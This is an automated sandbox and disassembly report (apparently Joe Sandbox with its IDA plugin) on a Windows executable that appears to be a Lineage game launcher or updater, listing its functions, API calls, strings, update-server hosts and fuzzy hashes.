/excite %s, xrefs: 0040BF69
Hacking tool detecting program invalid. Continue? , xrefs: 0040BBDA
WARNING, xrefs: 0040BABB, 0040BBD5, 0040BC1D, 0040BC84, 0040BCAF
/pcbang, xrefs: 0040B220
/hitel %s %d, xrefs: 0040BF1D
/lgi, xrefs: 0040AFC7
list-k-k.txt, xrefs: 0040BA5C, 0040BAF2
list-h-e.txt, xrefs: 0040BA9A
usmainupd1.lineageTheBloodpledge.com, xrefs: 0040AA1E, 0040B5B7
list-j-j.txt, xrefs: 0040BAB2
You can't connect Japanese server not using Japanese OS, xrefs: 0040BAC0
/host:, xrefs: 0040B150
pcbang, xrefs: 0040B26A
/dreamx %s %s %s %s %s %d, xrefs: 0040BEC1
210.122.63.89, xrefs: 0040AFD6
list-c-c.txt, xrefs: 0040B9F1
Can't connetc nProtect Server. Continue? , xrefs: 0040BCB4
arguments, xrefs: 0040B988
list-c.txt, xrefs: 0040BA20
unitel, xrefs: 0040AEA1, 0040AEB8
/s %d, xrefs: 0040BDDE, 0040C126, 0040C149
list-k-e.txt, xrefs: 0040BA63, 0040BAF9
excite, xrefs: 0040AFB4, 0040BF27
/EGPARAM:, xrefs: 0040AFA5
/ver, xrefs: 0040A907
build number = %d, xrefs: 0040B905
/test, xrefs: 0040ACA1
/DLX, xrefs: 0040B0E3
Can't execute lin.bin, xrefs: 0040C2FB

Memory Dump Source

Source File: 00000004.00000002.1540701146.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1540139159.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1540701146.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541422447.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541463545.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_UNK_.jbxd

Similarity

API ID: Message_strcmpisprintf$rand$strstr$DialogParam_closeatoi$CleanupDesktopSleepWindowremovestrcspnstrncpy$CloseCreateFileHandle_filelength_lseek_open_read_snprintf_spawnl_strnicmpsrandtime
String ID: Can NOT find The Hacking tool detecting program!$ Can't connetc nProtect Server. Continue? $ Fail in Removing. Continue? $ Hacking tool detecting program invalid. Continue? $%s$&IP:$&PO:$/%s %d$/DLX$/EGPARAM:$/KWG$/dreamx %s %s %s %s %s %d$/excite %s$/gt0$/hitel$/hitel %s %d$/hongkong$/host:$/japan$/korean$/kornet %s %s %s %s %d$/lgi$/noupdate$/pcbang$/portno:$/s %d$/shinbiro$/shinbiro %s %d$/taiwan$/test$/tvnet$/u %d$/unitel$/us$/ver$203.240.193.27$210.122.63.89$210.208.82.10$Can't execute lin.bin$FindHack.exe$HKupdate.lineage.com.hk$Lineage$TWupdate.lineage.com.tw$This option is allowed only after successful auto-update. Otherwise, client can crash due to lack of some resource.$WARNING$Warning$You can't connect Japanese server not using Japanese OS$arguments$build number = %d$chollian$dreamx$excite$game.kornetworld.com$gamegw.dreamx.net$gt0$hanaro$hitel$jpnupdate.ncsoft.co.kr$kmainupd.ncsoft.co.kr$kornet$ktestupd.ncsoft.co.kr$list-c-c.txt$list-c-e.txt$list-c-k.txt$list-c.txt$list-e-e.txt$list-h-c.txt$list-h-e.txt$list-j-j.txt$list-k-e.txt$list-k-k.txt$list-k.txt$list-t-k.txt$mihosoft$moya$pcbang$shinbiro$tvnet$unitel$usmainupd1.lineageTheBloodpledge.com$usmainupd2.lineageTheBloodPledge.com$usmainupd2.lineageTheBloodPledge.com$version: %d$~!@#%^$<
API String ID: 3856140011-1949667635
Opcode ID: d3e96e0fc2febfee422ba0f090af65c4589cf60741703a6fefff8c70eb62552e
Instruction ID: 1b4da73cbde776bda2e2ca1fe44aef3ff0f9507ae5b5eb5e8a7ba1db820c9719
Opcode Fuzzy Hash: d3e96e0fc2febfee422ba0f090af65c4589cf60741703a6fefff8c70eb62552e
Instruction Fuzzy Hash: ACE24431B442005BD7248B34AC917AB3B91EB85714F68823AFD5AA33D0DBBD8D45C79E

Function 0040A2B0 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 174
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileA.KERNELBASE(?,?,usmainupd2.lineageTheBloodPledge.com,?,76C19CE0,?), ref: 0040A325
FileTimeToSystemTime.KERNEL32(?,?), ref: 0040A36D
realloc.MSVCRT ref: 0040A3B3
FindNextFileA.KERNEL32(00000000,00000010), ref: 0040A410
FindClose.KERNEL32(00000000), ref: 0040A41F
qsort.MSVCRT ref: 0040A439
SetFileAttributesA.KERNEL32(?,00000080), ref: 0040A481
DeleteFileA.KERNEL32(?), ref: 0040A48B
SetFileAttributesA.KERNEL32(00000004,00000080), ref: 0040A4AC
DeleteFileA.KERNEL32(00000004), ref: 0040A4AF
free.MSVCRT ref: 0040A4BC

Strings

*.inv, xrefs: 0040A2D8, 0040A2E8
usmainupd2.lineageTheBloodPledge.com, xrefs: 0040A2B9

Memory Dump Source

Source File: 00000004.00000002.1540701146.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1540139159.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1540701146.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541422447.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541463545.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_UNK_.jbxd

Similarity

API ID: File$Find$AttributesDeleteTime$CloseFirstNextSystemfreeqsortrealloc
String ID: *.inv$usmainupd2.lineageTheBloodPledge.com
API String ID: 2622774032-2206764970
Opcode ID: b78d0a169d7eafec927e235ca9a9ce9b1bdf3d8a850a9ad878ecac7cfaec6eee
Instruction ID: 8ab419ae5727e00dd76f338a30fd8a6bc54a0b4cfab288e086b4cc70d109a9d6
Opcode Fuzzy Hash: b78d0a169d7eafec927e235ca9a9ce9b1bdf3d8a850a9ad878ecac7cfaec6eee
Instruction Fuzzy Hash: C251F3325043098BC720DF24DC44AAB77E5EFC4304F058A3DF985A72C1DBB9A919879A

Function 0040F5BF Relevance: 16.6, APIs: 11, Instructions: 111
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__set_app_type.MSVCRT ref: 0040F5EC
__p__fmode.MSVCRT ref: 0040F601
__p__commode.MSVCRT ref: 0040F60F
__setusermatherr.MSVCRT ref: 0040F63B
_initterm.MSVCRT ref: 0040F651
__getmainargs.MSVCRT ref: 0040F674
_initterm.MSVCRT ref: 0040F684
GetStartupInfoA.KERNEL32(?), ref: 0040F6C3
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 0040F6E7
exit.KERNELBASE ref: 0040F6F7
_XcptFilter.MSVCRT ref: 0040F709

Memory Dump Source

Source File: 00000004.00000002.1540701146.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1540139159.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1540701146.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541422447.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541463545.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_UNK_.jbxd

Similarity

API ID: _initterm$FilterHandleInfoModuleStartupXcpt__getmainargs__p__commode__p__fmode__set_app_type__setusermatherrexit
String ID:
API String ID: 801014965-0
Opcode ID: 5f72495c9dae707c1da66b513ded7e60af9e7f4282601f0d019affc9f2d51eb4
Instruction ID: cb1fc2d8bcd256223089e0405016f49992857ef66b05239ed091da7765e7311b
Opcode Fuzzy Hash: 5f72495c9dae707c1da66b513ded7e60af9e7f4282601f0d019affc9f2d51eb4
Instruction Fuzzy Hash: 17419D75940348AFCB30DFA4D885AAABBB8EB09710F20453FE441A76A1C7795886CB59

Function 0040A770 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 26
windownetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSAStartup.WS2_32(00000202,?), ref: 0040A783
GetLastError.KERNEL32 ref: 0040A78D
sprintf.MSVCRT ref: 0040A79E
MessageBoxA.USER32(00000000,?,0041BA48,00000010), ref: 0040A7B5

Strings

WSAStartup failed: %ld, xrefs: 0040A798

Memory Dump Source

Source File: 00000004.00000002.1540701146.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1540139159.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1540701146.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541422447.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541463545.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_UNK_.jbxd

Similarity

API ID: ErrorLastMessageStartupsprintf
String ID: WSAStartup failed: %ld
API String ID: 4232245815-1891744279
Opcode ID: f716aecf9be1a0daf5fee8d79ffac98e727cf8a3bca7afea556da6d1d4d7d82d
Instruction ID: f23a5ddfae2a665b835093c41cecaf45c4df1a98dacf58dd3f1acf0644010798
Opcode Fuzzy Hash: f716aecf9be1a0daf5fee8d79ffac98e727cf8a3bca7afea556da6d1d4d7d82d
Instruction Fuzzy Hash: 35E09B715803047BD7509760EC4EFEA3768BB54B01F848829B505C11D1E7FD419887AA

Function 004A0ED0 Relevance: 7.7, APIs: 5, Instructions: 184
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(?), ref: 004A100A
GetProcAddress.KERNEL32(?,0049EFF9), ref: 004A1028
ExitProcess.KERNEL32(?,0049EFF9), ref: 004A1039
VirtualProtect.KERNELBASE(00400000,00001000,00000004,?,FFF882E1), ref: 004A1056
VirtualProtect.KERNEL32(00400000,00001000), ref: 004A106B

Memory Dump Source

Source File: 00000004.00000002.1541422447.00000000004A0000.00000080.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1540139159.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1540701146.0000000000401000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1540701146.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541463545.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_UNK_.jbxd

Similarity

API ID: ProtectVirtual$AddressExitLibraryLoadProcProcess
String ID:
API String ID: 1996367037-0
Opcode ID: ee9e0b3ed519791ea2f2d2190bafbbba4d370b32be020a37f1b1408e5e20de51
Instruction ID: a44c452be5ad7179610eed8ea2f1e58c2a54dfcf3084dcc0e1783026b3c2c9f5
Opcode Fuzzy Hash: ee9e0b3ed519791ea2f2d2190bafbbba4d370b32be020a37f1b1408e5e20de51
Instruction Fuzzy Hash: 0B510971A557524FD7309DB88CC06A27B94EB67320B18073AE5E1D73C5E7E868068768

Function 00402420 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(?,C:\Users\user\Desktop\,00000104,75446A90,?,0040A990,?), ref: 00402431
CharNextA.USER32(C:\Users\user\Desktop\), ref: 00402450

Strings

C:\Users\user\Desktop\, xrefs: 0040242B, 00402437, 0040243D, 0040244F

Memory Dump Source

Source File: 00000004.00000002.1540701146.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1540139159.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1540701146.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541422447.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541463545.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_UNK_.jbxd

Similarity

API ID: CharFileModuleNameNext
String ID: C:\Users\user\Desktop\
API String ID: 3311180430-735371926
Opcode ID: d1eee4875d7191ed5687d7a02dd0e5ed05f9fdb4d08bc019ec87a40e7b153047
Instruction ID: 74eb1d84806718cc772bceb7f0d1f511844d2cb957509e3ddb653c81c84e5933
Opcode Fuzzy Hash: d1eee4875d7191ed5687d7a02dd0e5ed05f9fdb4d08bc019ec87a40e7b153047
Instruction Fuzzy Hash: A0F0A0627822606EE7311678B9087D67FE44B663A2F1C0077E6C4A32D2C2BC488493AD

Function 00402500 Relevance: 1.5, APIs: 1, Instructions: 16
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_open.MSVCRT ref: 0040252D

Memory Dump Source

Source File: 00000004.00000002.1540701146.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1540139159.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1540701146.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541422447.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541463545.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_UNK_.jbxd

Similarity

API ID: _open
String ID:
API String ID: 4183159743-0
Opcode ID: b38ecbca1aea726d295cc30956eb8dec0055a0c9bdaba2af4d99bbe62abef648
Instruction ID: df76e1a0bad9b822b6f36983da20bf7eb730ab311d27616ffaab059f5299df03
Opcode Fuzzy Hash: b38ecbca1aea726d295cc30956eb8dec0055a0c9bdaba2af4d99bbe62abef648
Instruction Fuzzy Hash: EBD012B44042406FD328DB14D946DFB73A8AB84304F44891CB59882150DA79D958C6A6

Non-executed Functions

Function 004084A0 Relevance: 73.9, APIs: 24, Strings: 18, Instructions: 413
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSAGetLastError.WS2_32 ref: 004084A0
EndDialog.USER32(?,000000FF), ref: 00408516
inet_addr.WS2_32 ref: 004086E0
gethostbyname.WS2_32 ref: 004086F5
rand.MSVCRT ref: 00408719
inet_addr.WS2_32(63.104.49.23), ref: 0040875A
htons.WS2_32(B91C07D3), ref: 0040876B
connect.WS2_32(?,00000002,00000010), ref: 00408784
WSAGetLastError.WS2_32 ref: 00408793
closesocket.WS2_32(?), ref: 00408523

Part of subcall function 00408A10: wvsprintfA.USER32(?,?,?), ref: 00408A28
Part of subcall function 00408A10: lstrlen.KERNEL32(?,00000000,00000000), ref: 00408A3A
Part of subcall function 00408A10: WriteFile.KERNEL32(?,?,00000000), ref: 00408A4E

inet_ntoa.WS2_32(?), ref: 00408600
closesocket.WS2_32(?), ref: 00408636
socket.WS2_32(00000002,00000001), ref: 00408643
bind.WS2_32(?,?,00000010), ref: 0040868D
EndDialog.USER32(?,000000FF), ref: 004086AE
closesocket.WS2_32(?), ref: 004086BB
inet_ntoa.WS2_32(?), ref: 00408886
EndDialog.USER32(?,000000FF), ref: 004088C2
closesocket.WS2_32(?), ref: 004088CE
htonl.WSOCK32(00000000), ref: 0040891D
htonl.WSOCK32(00000000), ref: 00408988
closesocket.WS2_32(?), ref: 004089BA
_close.MSVCRT ref: 004089D0
EndDialog.USER32(?,000000FF), ref: 004089F1

Strings

invalid socket, xrefs: 00408653
error code : %d, xrefs: 004084D9, 0040855B, 004087BD
ip : %s , xrefs: 0040860D, 00408893
can't connect dns host, xrefs: 004085A9
host1 : %s host2 : %s , xrefs: 00408575, 004087D7
can't connect dns 2 host , xrefs: 0040882F
updating by entry 2 , xrefs: 004087A9
63.104.49.23, xrefs: 00408755
host1 : %s host2 : %s, xrefs: 004084F2
dns total : %d dns number : %d , xrefs: 004085C7
can't get host by dns 2 , xrefs: 00408816
dns 2 total : %d dns 2 number : %d , xrefs: 0040884D
Can't bind socket, xrefs: 00408698
updating by ip, xrefs: 004084C4
updating by dns , xrefs: 00408547
can't get host by host1 dns, xrefs: 00408590
Can't Connect, xrefs: 00408500, 004088AC
can't connect host 2 , xrefs: 004087F5

Memory Dump Source

Source File: 00000004.00000002.1540701146.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1540139159.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1540701146.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541422447.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541463545.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_UNK_.jbxd

Similarity

API ID: closesocket$Dialog$ErrorLasthtonlinet_addrinet_ntoa$FileWrite_closebindconnectgethostbynamehtonslstrlenrandsocketwvsprintf
String ID: 63.104.49.23$Can't Connect$Can't bind socket$can't connect dns 2 host $can't connect dns host$can't connect host 2 $can't get host by dns 2 $can't get host by host1 dns$dns 2 total : %d dns 2 number : %d $dns total : %d dns number : %d $error code : %d$host1 : %s host2 : %s$host1 : %s host2 : %s $invalid socket$ip : %s $updating by dns $updating by entry 2 $updating by ip
API String ID: 1721191639-658854503
Opcode ID: 93d140a4cdbebd31d5611b6d480723f00d94bc541645e713151c54f087676a22
Instruction ID: 39551a8eeed1401d7f628dc5bcbaa7f4d77872479ec66451824b1c2f1ea740fc
Opcode Fuzzy Hash: 93d140a4cdbebd31d5611b6d480723f00d94bc541645e713151c54f087676a22
Instruction Fuzzy Hash: 7AE12874A003009BC710AF64ED8595B37A4FB88718B50857EF885B73D1DB7D9846CBAD

Function 004093C0 Relevance: 67.1, APIs: 30, Strings: 8, Instructions: 554
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InvalidateRect.USER32(?,?,00000000), ref: 0040951E
InvalidateRect.USER32(?,?,00000000), ref: 0040954A
InvalidateRect.USER32(?,0000014A,00000000), ref: 004095A2
InvalidateRect.USER32(?,0000014A,00000000), ref: 004095C3
InvalidateRect.USER32(?,?,00000000), ref: 004095EB
InvalidateRect.USER32(?,0000014A,00000000), ref: 00409608
73F7A570.USER32(?), ref: 00409610
SetBkMode.GDI32(00000000,00000001), ref: 0040961B
GetObjectA.GDI32(00000000,00000018,0042C008), ref: 00409643
SelectObject.GDI32(00000000,00000000), ref: 0040965A
GetPixel.GDI32(00000000,00000000,00000000), ref: 00409663
DeleteDC.GDI32(00000000), ref: 004096D2
GetObjectA.GDI32(00000000,00000018,0042C020), ref: 00409701
SelectObject.GDI32(00000000,00000000), ref: 00409718
GetPixel.GDI32(00000000,00000000,00000000), ref: 00409721
DeleteDC.GDI32(00000000), ref: 004097EE
GetObjectA.GDI32(00000000,00000018,0042C038), ref: 0040981F
SelectObject.GDI32(00000000,00000000), ref: 00409836
GetPixel.GDI32(00000000,00000000,00000000), ref: 0040983F
ScrollWindow.USER32(?,00000000,000000FA,00000000,00000000), ref: 0040993C
InvalidateRect.USER32(?,00000000,00000000), ref: 00409951
InvalidateRect.USER32(?,00000000,00000000), ref: 0040995C
ScrollWindow.USER32(?,00000000,FFFFFF06,00000000,00000000), ref: 004099AE
InvalidateRect.USER32(?,00000000,00000000), ref: 004099C3
InvalidateRect.USER32(?,00000000,00000000), ref: 004099CD
NtdllDefWindowProc_A.NTDLL(?,?,?,?), ref: 00409AA1

Strings

gfff, xrefs: 00409789
gfff, xrefs: 00409A64
gfff, xrefs: 004099DA
gfff, xrefs: 0040956D
gfff, xrefs: 00409981
gfff, xrefs: 004097D0
,, xrefs: 0040945B
gfff, xrefs: 00409694

Memory Dump Source

Source File: 00000004.00000002.1540701146.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1540139159.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1540701146.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541422447.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541463545.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_UNK_.jbxd

Similarity

API ID: InvalidateRect$Object$PixelSelectWindow$DeleteScroll$A570ModeNtdllProc_
String ID: ,$gfff$gfff$gfff$gfff$gfff$gfff$gfff
API String ID: 565317530-33231140
Opcode ID: e7b3f9ec5085d8a3cc5e500f01163fb4c1f685ac14b736a6681669a1c8a4172a
Instruction ID: ad69d5fd95c6e12ca3620a646f037bdf545fe48cff6134b29766add31207a344
Opcode Fuzzy Hash: e7b3f9ec5085d8a3cc5e500f01163fb4c1f685ac14b736a6681669a1c8a4172a
Instruction Fuzzy Hash: EF12C0B5604248AFD314CF29EC84A7B77E9EBC9304F44853EF54593392DB78AC418B6A

Function 00408290 Relevance: 40.5, APIs: 21, Strings: 2, Instructions: 258
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

time.MSVCRT(00000000), ref: 0040829A
srand.MSVCRT ref: 004082A1
EndDialog.USER32(?,000000FF), ref: 004082C8
socket.WS2_32(00000002,00000001,00000000), ref: 004082F7
EndDialog.USER32(?,000000FF), ref: 0040831C

Strings

invalid socket, xrefs: 00408307
Can't bind socket, xrefs: 0040835E

Memory Dump Source

Source File: 00000004.00000002.1540701146.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1540139159.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1540701146.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541422447.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541463545.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_UNK_.jbxd

Similarity

API ID: Dialog$socketsrandtime
String ID: Can't bind socket$invalid socket
API String ID: 1151004215-413266663
Opcode ID: 61edf4585e5c344069ce076e42dbdf9f3d4770a32d7988672e834ad31e70eebe
Instruction ID: d33af3c2163843de5f8ecff5c0b2c46479a01783d05cd1e5bffdf96d018db75f
Opcode Fuzzy Hash: 61edf4585e5c344069ce076e42dbdf9f3d4770a32d7988672e834ad31e70eebe
Instruction Fuzzy Hash: 529149745003009BC710AF68ED44A9B77A0FF89318F44463EF855A73E1DB79A946CBAE

Function 00409080 Relevance: 37.0, APIs: 20, Strings: 1, Instructions: 249nativeCOMMON

Download Yara Rule

APIs

CreateFontIndirectA.GDI32 ref: 004090D0
73F7A570.USER32(?), ref: 00409104
SetBkMode.GDI32(00000000,00000001), ref: 0040910F
GetObjectA.GDI32(00000000,00000018,0042BF78), ref: 00409126
SelectObject.GDI32(00000000,00000000), ref: 0040913D
73F84D40.GDI32(00000000,00000000,00000000,00000175,000000FA,00000000,00000020,00000028,00CC0020), ref: 0040915C
DeleteDC.GDI32(00000000), ref: 00409163
NtdllDefWindowProc_A.NTDLL(?,?,?,?), ref: 0040918A
CreateWindowExA.USER32(00000000,button,0042C278,5000000B,?,?,000000B8,00000016,?,00000BB8,?,00000000), ref: 0040920A
SelectObject.GDI32(00000000,00000000), ref: 00409273
73F84D40.GDI32(?,?,?,?,?,00000000,00000000,00000000,00CC0020), ref: 0040929C
DeleteDC.GDI32(00000000), ref: 004092A3
73F7A570.USER32(?), ref: 004092AD
SetBkMode.GDI32(00000000,00000001), ref: 004092B8
GetObjectA.GDI32(00000000,0000003C,?), ref: 004092C6
SelectObject.GDI32(00000000,00000000), ref: 004092CE
SetTextColor.GDI32(00000000,00000000), ref: 004092D7
SetTextAlign.GDI32(00000000,00000006), ref: 004092E0
TextOutA.GDI32(00000000,0000005D,00000003,?), ref: 00409323
EndDialog.USER32(?,?), ref: 004093A0

Strings

button, xrefs: 00409203

Memory Dump Source

Source File: 00000004.00000002.1540701146.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1540139159.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1540701146.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541422447.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541463545.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_UNK_.jbxd

Similarity

API ID: Object$SelectText$A570CreateDeleteModeWindow$AlignColorDialogFontIndirectNtdllProc_
String ID: button
API String ID: 1251463983-973515837
Opcode ID: 079597768ebf10388918e9ac7c8da415abaeab1a726659306fdd9953dd61cf31
Instruction ID: 97f3adc7cd7aff7bc1a271ce3c2985495306b846210f8b0d7321a992ebd2d1f8
Opcode Fuzzy Hash: 079597768ebf10388918e9ac7c8da415abaeab1a726659306fdd9953dd61cf31
Instruction Fuzzy Hash: 0A91EA75304305AFD320CB64DC48FAB7BA9EB89311F008629FA15A72D1CBB4AD45CB69

Function 00407D50 Relevance: 23.1, APIs: 10, Strings: 3, Instructions: 308filesleepwindowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00000000,00000402,00000000,00000000), ref: 00407D73
FindFirstFileA.KERNEL32(00423624,?), ref: 00407EF5
realloc.MSVCRT ref: 00407F28
FindNextFileA.KERNEL32(00000000,00000010), ref: 00407F88
FindClose.KERNEL32(00000000), ref: 00407F97
SetFileAttributesA.KERNEL32(?,00000080), ref: 0040805F
DeleteFileA.KERNEL32(?), ref: 0040806A
??3@YAXPAX@Z.MSVCRT(00000000), ref: 00408087
free.MSVCRT ref: 00408090
Sleep.KERNEL32(000001F4), ref: 0040809E

Strings

.pak, xrefs: 00407E00
.idx, xrefs: 00407DD5
.$$$, xrefs: 00407E2B

Memory Dump Source

Source File: 00000004.00000002.1540701146.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1540139159.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1540701146.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541422447.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541463545.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_UNK_.jbxd

Similarity

API ID: File$Find$??3@AttributesCloseDeleteFirstMessageNextSendSleepfreerealloc
String ID: .$$$$.idx$.pak
API String ID: 3059534480-1417876688
Opcode ID: 9fff7417213362c5411c01a0d5264272eed1b6062a0d8486662a987e6cc153f5
Instruction ID: 5a013326e3552b0e42e49a698d267bbef56f4e4546462a7d611e60320ade1583
Opcode Fuzzy Hash: 9fff7417213362c5411c01a0d5264272eed1b6062a0d8486662a987e6cc153f5
Instruction Fuzzy Hash: 4F91C432B045044BC728D938A85156F76D2FBC4370F59473EB96B973C0DFB89D098299

Function 0040A4E0 Relevance: 22.9, APIs: 7, Strings: 6, Instructions: 127windowCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32 ref: 0040A50D
_strcmpi.MSVCRT ref: 0040A564
_strcmpi.MSVCRT ref: 0040A58C
sprintf.MSVCRT ref: 0040A5C9
MessageBoxA.USER32(00000000,?,Warning,00000004), ref: 0040A5E3

Strings

expl32.exe, xrefs: 0040A586
UDP, xrefs: 0040A56F
.exe, xrefs: 0040A55E
Notice, xrefs: 0040A60A, 0040A658
usmainupd2.lineageTheBloodPledge.com, xrefs: 0040A4EA
Warning, xrefs: 0040A5DB, 0040A621

Memory Dump Source

Source File: 00000004.00000002.1540701146.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1540139159.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1540701146.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541422447.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541463545.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_UNK_.jbxd

Similarity

API ID: _strcmpi$MessageVersionsprintf
String ID: .exe$Notice$UDP$Warning$expl32.exe$usmainupd2.lineageTheBloodPledge.com
API String ID: 3312229095-3245884135
Opcode ID: 9bacac1aa02a6501fae6f23081cdde6fe2aa78fd54b0307e4d3bfa66c2d10a81
Instruction ID: 7108c0134235b0d24c7974922313b1a45e4bbdfc123481e3740c2cbd825b6a9b
